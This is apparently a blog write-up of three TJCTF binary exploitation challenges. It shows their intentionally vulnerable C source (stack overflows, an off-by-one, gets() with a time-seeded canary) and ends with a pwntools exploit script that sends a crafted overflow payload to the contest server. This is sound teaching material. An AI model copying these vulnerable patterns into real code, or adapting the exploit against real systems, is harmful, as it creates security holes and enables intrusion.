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<a href="https://f3real.github.io/tjctf_binary_part1.html"
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TJCTF Binary exploitation part 1
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<span class="published">
<i class="fa fa-calendar padding-small"></i><time datetime="2018-08-13T10:02:00+02:00"> Mon 13 August 2018</time>
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<a href="https://f3real.github.io/tag/ctf.html">ctf</a> / <a href="https://f3real.github.io/tag/pwnable.html">pwnable</a> / <a href="https://f3real.github.io/tag/binary-exploitation.html">binary exploitation</a> </span>
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<p>In this post, we are going to take a look at first 3 of binary exploitation challenges from TJCTF. So let’s start:</p>
<div class="toc">
<ul>
<li><a href="#math-whiz">Math whiz</a></li>
<li><a href="#tilted-troop">Tilted troop</a></li>
<li><a href="#future-canary-lab">Future canary lab</a></li>
</ul>
</div>
<h2 id="math-whiz">Math whiz</h2>
<div class="highlight"><pre><span></span><code><span class="cp">#include</span><span class="w"> </span><span class="cpf"><stdio.h></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><stdlib.h></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><string.h></span>
<span class="cp">#define FLAG "-----REDACTED-----"</span>
<span class="kt">int</span><span class="w"> </span><span class="nf">input</span><span class="p">(</span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="n">str</span><span class="p">,</span><span class="w"> </span><span class="kt">float</span><span class="w"> </span><span class="n">f</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">fgets</span><span class="p">(</span><span class="n">str</span><span class="p">,</span><span class="w"> </span><span class="mi">16</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">f</span><span class="p">,</span><span class="w"> </span><span class="n">stdin</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">strlen</span><span class="p">(</span><span class="n">str</span><span class="p">)</span><span class="w"> </span><span class="o"><=</span><span class="w"> </span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">"No input detected. Registration failed."</span><span class="p">);</span>
<span class="w"> </span><span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="n">strchr</span><span class="p">(</span><span class="n">str</span><span class="p">,</span><span class="w"> </span><span class="mi">10</span><span class="p">))</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="p">(</span><span class="n">fgetc</span><span class="p">(</span><span class="n">stdin</span><span class="p">)</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="mi">10</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">str</span><span class="p">[</span><span class="n">strlen</span><span class="p">(</span><span class="n">str</span><span class="p">)</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mi">1</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
<span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">admin</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">fullname</span><span class="p">[</span><span class="mi">16</span><span class="p">];</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">username</span><span class="p">[</span><span class="mi">16</span><span class="p">];</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">password</span><span class="p">[</span><span class="mi">16</span><span class="p">];</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">recoverypin</span><span class="p">[</span><span class="mi">4</span><span class="p">];</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">email</span><span class="p">[</span><span class="mi">16</span><span class="p">];</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">address</span><span class="p">[</span><span class="mi">16</span><span class="p">];</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">bio</span><span class="p">[</span><span class="mi">64</span><span class="p">];</span>
<span class="w"> </span><span class="kt">gid_t</span><span class="w"> </span><span class="n">gid</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">getegid</span><span class="p">();</span>
<span class="w"> </span><span class="n">setresgid</span><span class="p">(</span><span class="n">gid</span><span class="p">,</span><span class="w"> </span><span class="n">gid</span><span class="p">,</span><span class="w"> </span><span class="n">gid</span><span class="p">);</span>
<span class="w"> </span><span class="n">setbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span><span class="w"> </span><span class="nb">NULL</span><span class="p">);</span>
<span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">"******************** Please Register Below ********************"</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Full Name: "</span><span class="p">);</span>
<span class="w"> </span><span class="n">input</span><span class="p">(</span><span class="n">fullname</span><span class="p">,</span><span class="w"> </span><span class="mi">1</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Username: "</span><span class="p">);</span>
<span class="w"> </span><span class="n">input</span><span class="p">(</span><span class="n">username</span><span class="p">,</span><span class="w"> </span><span class="mi">1</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Password: "</span><span class="p">);</span>
<span class="w"> </span><span class="n">input</span><span class="p">(</span><span class="n">password</span><span class="p">,</span><span class="w"> </span><span class="mi">1</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Recovery Pin: "</span><span class="p">);</span>
<span class="w"> </span><span class="n">input</span><span class="p">(</span><span class="n">recoverypin</span><span class="p">,</span><span class="w"> </span><span class="mi">4</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Email: "</span><span class="p">);</span>
<span class="w"> </span><span class="n">input</span><span class="p">(</span><span class="n">email</span><span class="p">,</span><span class="w"> </span><span class="mi">1</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Address: "</span><span class="p">);</span>
<span class="w"> </span><span class="n">input</span><span class="p">(</span><span class="n">address</span><span class="p">,</span><span class="w"> </span><span class="mi">1</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Biography: "</span><span class="p">);</span>
<span class="w"> </span><span class="n">input</span><span class="p">(</span><span class="n">bio</span><span class="p">,</span><span class="w"> </span><span class="mf">.25</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">admin</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Successfully registered '%s' as an administrator account!</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">username</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Here is your flag: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">FLAG</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Successfully registered '%s' as an user account!</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">username</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p>This is the first challenge in the series. Looking at the source code we see that as long as the <code>admin</code> value is not 0, we will get the flag. Overflow happens when input is called for <code>recoverypin</code> since the second argument passed is 4 (seems somebody switched values with <code>bio</code> field). So we just give long enough input for <code>recoverypin</code> (A*64), overwrite admin field and we get the flag.</p>
<h2 id="tilted-troop">Tilted troop</h2>
<p>Let’s look at the source:</p>
<div class="highlight"><pre><span></span><code><span class="cp">#include</span><span class="w"> </span><span class="cpf"><stdio.h></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><stdlib.h></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><string.h></span>
<span class="cp">#define MAX_TEAM_SIZE 8</span>
<span class="k">const</span><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">goal</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">400</span><span class="p">;</span>
<span class="k">struct</span><span class="w"> </span><span class="nc">team</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kt">char</span><span class="o">*</span><span class="w"> </span><span class="n">names</span><span class="p">[</span><span class="n">MAX_TEAM_SIZE</span><span class="p">];</span>
<span class="w"> </span><span class="kt">char</span><span class="o">*</span><span class="w"> </span><span class="n">strength</span><span class="p">;</span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">teamSize</span><span class="p">;</span>
<span class="p">}</span><span class="w"> </span><span class="k">typedef</span><span class="w"> </span><span class="n">team</span><span class="p">;</span>
<span class="kt">void</span><span class="w"> </span><span class="nf">fight</span><span class="p">(</span><span class="kt">char</span><span class="o">*</span><span class="w"> </span><span class="n">strengths</span><span class="p">,</span><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">teamSize</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">sum</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="k">for</span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="n">teamSize</span><span class="p">;</span><span class="w"> </span><span class="o">++</span><span class="n">i</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">sum</span><span class="o">+=</span><span class="n">strengths</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="n">sum</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">goal</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Wow! Your team is strong! Here, take this flag:</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"[REDACTED]</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Your team had %d strength, but you needed exactly %d!</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">sum</span><span class="p">,</span><span class="n">goal</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
<span class="kt">char</span><span class="w"> </span><span class="n">input</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span>
<span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kt">gid_t</span><span class="w"> </span><span class="n">gid</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">getegid</span><span class="p">();</span>
<span class="w"> </span><span class="n">setresgid</span><span class="p">(</span><span class="n">gid</span><span class="p">,</span><span class="w"> </span><span class="n">gid</span><span class="p">,</span><span class="w"> </span><span class="n">gid</span><span class="p">);</span>
<span class="w"> </span><span class="n">setbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span><span class="w"> </span><span class="nb">NULL</span><span class="p">);</span>
<span class="w"> </span><span class="n">team</span><span class="w"> </span><span class="n">t</span><span class="p">;</span>
<span class="w"> </span><span class="n">t</span><span class="p">.</span><span class="n">teamSize</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="n">t</span><span class="p">.</span><span class="n">strength</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">malloc</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">MAX_TEAM_SIZE</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Commands:</span><span class="se">\n</span><span class="s"> A <name> - Add a team member</span><span class="se">\n</span><span class="s"> F - Fight the monster</span><span class="se">\n</span><span class="s"> Q - Quit</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">gets</span><span class="p">(</span><span class="n">input</span><span class="p">,</span><span class="mi">255</span><span class="p">,</span><span class="n">stdin</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="n">input</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="sc">'A'</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="n">t</span><span class="p">.</span><span class="n">teamSize</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="n">MAX_TEAM_SIZE</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Your team is too large!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">t</span><span class="p">.</span><span class="n">strength</span><span class="p">[</span><span class="n">t</span><span class="p">.</span><span class="n">teamSize</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">rand</span><span class="p">()</span><span class="w"> </span><span class="o">%</span><span class="w"> </span><span class="mi">10</span><span class="p">;</span>
<span class="w"> </span><span class="kt">char</span><span class="o">*</span><span class="w"> </span><span class="n">newMember</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">malloc</span><span class="p">(</span><span class="mi">256</span><span class="p">);</span>
<span class="w"> </span><span class="n">strcpy</span><span class="p">(</span><span class="n">newMember</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">input</span><span class="p">[</span><span class="mi">2</span><span class="p">]);</span>
<span class="w"> </span><span class="n">t</span><span class="p">.</span><span class="n">names</span><span class="p">[</span><span class="n">t</span><span class="p">.</span><span class="n">teamSize</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">newMember</span><span class="p">;</span>
<span class="w"> </span><span class="n">t</span><span class="p">.</span><span class="n">teamSize</span><span class="o">++</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">input</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">==</span><span class="sc">'F'</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">fight</span><span class="p">(</span><span class="n">t</span><span class="p">.</span><span class="n">strength</span><span class="p">,</span><span class="w"> </span><span class="n">t</span><span class="p">.</span><span class="n">teamSize</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">input</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">==</span><span class="sc">'Q'</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Thanks for playing!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Try again</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p>To win the flag this time, we have to have the strength of our team equal to 400. Since <code>MAX_TEAM_SIZE</code> is 8 and <code>strength</code> of each member is at max 9 (%10) this could be a problem. Luckily, there is off by one bug when creating team members. Problems happens in:</p>
<div class="highlight"><pre><span></span><code> t.teamSize > MAX_TEAM_SIZE
</code></pre></div>
<p>this will be true even when the array is filled to max (8 members) allowing us to overwrite following pointer in <code>team</code> struct. If we look at the stack:</p>
<p><img alt="Tilted troop stack" class="img-fluid centerimage" src="https://f3real.github.io/images/2018_8_13_TiltedTroop_stack.png"></p>
<p>We see that after pointers to <code>names</code> we have a pointer to <code>strength</code> array (marked in red) and then the size of the array (in yellow). So when we overwrite <code>strength</code> is going to be read from the name of 9th team member. So if we give something like <code>xxx(</code> for his name we get the flag (<code>x</code> 120 decimal, <code>(</code> 40 decimal).</p>
<h2 id="future-canary-lab">Future canary lab</h2>
<p>For me this was most interesting binary challenge in this CTF, so let’s take a look:</p>
<div class="highlight"><pre><span></span><code><span class="cp">#include</span><span class="w"> </span><span class="cpf"><stdio.h></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><stdlib.h></span>
<span class="cp">#define FLAG "-----REDACTED-----"</span>
<span class="kt">void</span><span class="w"> </span><span class="nf">interview</span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">secret</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">i</span><span class="p">,</span><span class="w"> </span><span class="n">j</span><span class="p">;</span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">canary</span><span class="p">[</span><span class="mi">10</span><span class="p">];</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">name</span><span class="p">[</span><span class="mi">64</span><span class="p">];</span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">check</span><span class="p">[</span><span class="mi">10</span><span class="p">];</span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="n">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="mi">10</span><span class="p">;</span><span class="w"> </span><span class="o">++</span><span class="n">i</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">canary</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">check</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">rand</span><span class="p">();</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Welcome to the Future Canary Lab!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"What is your name?</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="n">gets</span><span class="p">(</span><span class="n">name</span><span class="p">);</span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="n">j</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"> </span><span class="n">j</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="mi">10</span><span class="p">;</span><span class="w"> </span><span class="o">++</span><span class="n">j</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">canary</span><span class="p">[</span><span class="n">j</span><span class="p">]</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="n">check</span><span class="p">[</span><span class="n">j</span><span class="p">])</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Alas, it would appear you lack the time travel powers we desire.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">secret</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">j</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mh">0xdeadbeef</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"You are the one. This must be the choice of Stacks Gate!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Here is your flag: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">FLAG</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Begone, FBI Spy!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kt">gid_t</span><span class="w"> </span><span class="n">gid</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">getegid</span><span class="p">();</span>
<span class="w"> </span><span class="n">setresgid</span><span class="p">(</span><span class="n">gid</span><span class="p">,</span><span class="w"> </span><span class="n">gid</span><span class="p">,</span><span class="w"> </span><span class="n">gid</span><span class="p">);</span>
<span class="w"> </span><span class="n">setbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span><span class="w"> </span><span class="nb">NULL</span><span class="p">);</span>
<span class="w"> </span><span class="n">srand</span><span class="p">(</span><span class="n">time</span><span class="p">(</span><span class="nb">NULL</span><span class="p">));</span>
<span class="w"> </span><span class="n">interview</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p>To get the flag we have to change the argument of <code>interview</code> function to <code>0xdeadbeef</code>. We have obvious buffer overflow since code uses <code>gets</code>, but what about a check after? Somehow we have to know the value of canary and overwrite it with correct values.</p>
<p>The solution is to generate the same (pseudo)random sequence program is generating since the seed is just current time, and use that. So payload we are going to try is:</p>
<div class="highlight"><pre><span></span><code>'A'*64 + generated_sequence + 0xa +0xa + p32(0xdeadbeef)*6
</code></pre></div>
<p>I have chosen value <code>0xa</code> for <code>i</code>,<code>j</code> since comparison done in the following way</p>
<div class="highlight"><pre><span></span><code>secret - i + j
</code></pre></div>
<p>and j is getting set to 10 (<code>0xa</code>) in loop after our input. But we have a problem, <code>0xa</code> is also newline and will stop <code>gets</code> input. So we have to modify our result a bit.</p>
<div class="highlight"><pre><span></span><code>'A'*64 + generated_sequence + 0x9 +0x9 + p32(0xdeadbeee)*6
</code></pre></div>
<p>Note that we also had to modify the address since now value will be incremented by one. So let's write code to automate this. Since random is probably different in c and python, we use c code to generate the sequence.</p>
<div class="highlight"><pre><span></span><code><span class="cp">#include</span><span class="w"> </span><span class="cpf"><stdlib.h></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><stdio.h></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><time.h></span>
<span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">i</span><span class="p">;</span>
<span class="w"> </span><span class="n">srand</span><span class="p">(</span><span class="n">time</span><span class="p">(</span><span class="nb">NULL</span><span class="p">));</span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="n">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="mi">10</span><span class="p">;</span><span class="w"> </span><span class="o">++</span><span class="n">i</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"%u "</span><span class="p">,</span><span class="n">rand</span><span class="p">());</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p>And our python script:</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/usr/bin/env python</span>
<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">"__main__"</span><span class="p">:</span>
<span class="n">context</span><span class="o">.</span><span class="n">arch</span> <span class="o">=</span> <span class="s1">'i386'</span>
<span class="n">context</span><span class="o">.</span><span class="n">os</span> <span class="o">=</span> <span class="s1">'linux'</span>
<span class="n">context</span><span class="o">.</span><span class="n">terminal</span> <span class="o">=</span> <span class="p">[</span><span class="s2">"terminator"</span><span class="p">,</span> <span class="s2">"-e"</span><span class="p">]</span>
<span class="n">random_nums</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">sys</span><span class="o">.</span><span class="n">stdin</span><span class="p">:</span>
<span class="n">random_nums</span> <span class="o">=</span> <span class="n">line</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">' '</span><span class="p">)[:</span><span class="mi">10</span><span class="p">]</span>
<span class="c1">#r = process('./interview')</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s1">'problem1.tjctf.org'</span><span class="p">,</span> <span class="mi">8000</span><span class="p">)</span>
<span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s1">'What is your name?</span><span class="se">\n</span><span class="s1">'</span><span class="p">)</span>
<span class="c1">#gdb.attach(r)</span>
<span class="n">p</span> <span class="o">=</span> <span class="s1">'A'</span> <span class="o">*</span> <span class="mi">64</span>
<span class="k">for</span> <span class="n">rand</span> <span class="ow">in</span> <span class="n">random_nums</span><span class="p">:</span>
<span class="n">p</span><span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">rand</span><span class="p">))</span>
<span class="n">p</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x9</span><span class="p">)</span><span class="o">*</span><span class="mi">2</span>
<span class="n">p</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0xdeadbeee</span><span class="p">)</span><span class="o">*</span><span class="mi">6</span>
<span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">p</span><span class="p">)</span>
<span class="nb">print</span> <span class="n">r</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">r</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div>
<p>Note: since we are not sure where exactly is <code>interview</code> argument on the stack we just write <code>0xdeadbee</code> 6 times to make sure we overwrite it. We run our script and flag is ours:</p>
<p><img alt="Future canary lab flag" class="img-fluid centerimage" src="https://f3real.github.io/images/2018_8_13_FutureCanaryLab.png"></p>
<p>Since this is a timing problem, it will usually require 2–3 runs to get the flag.</p>
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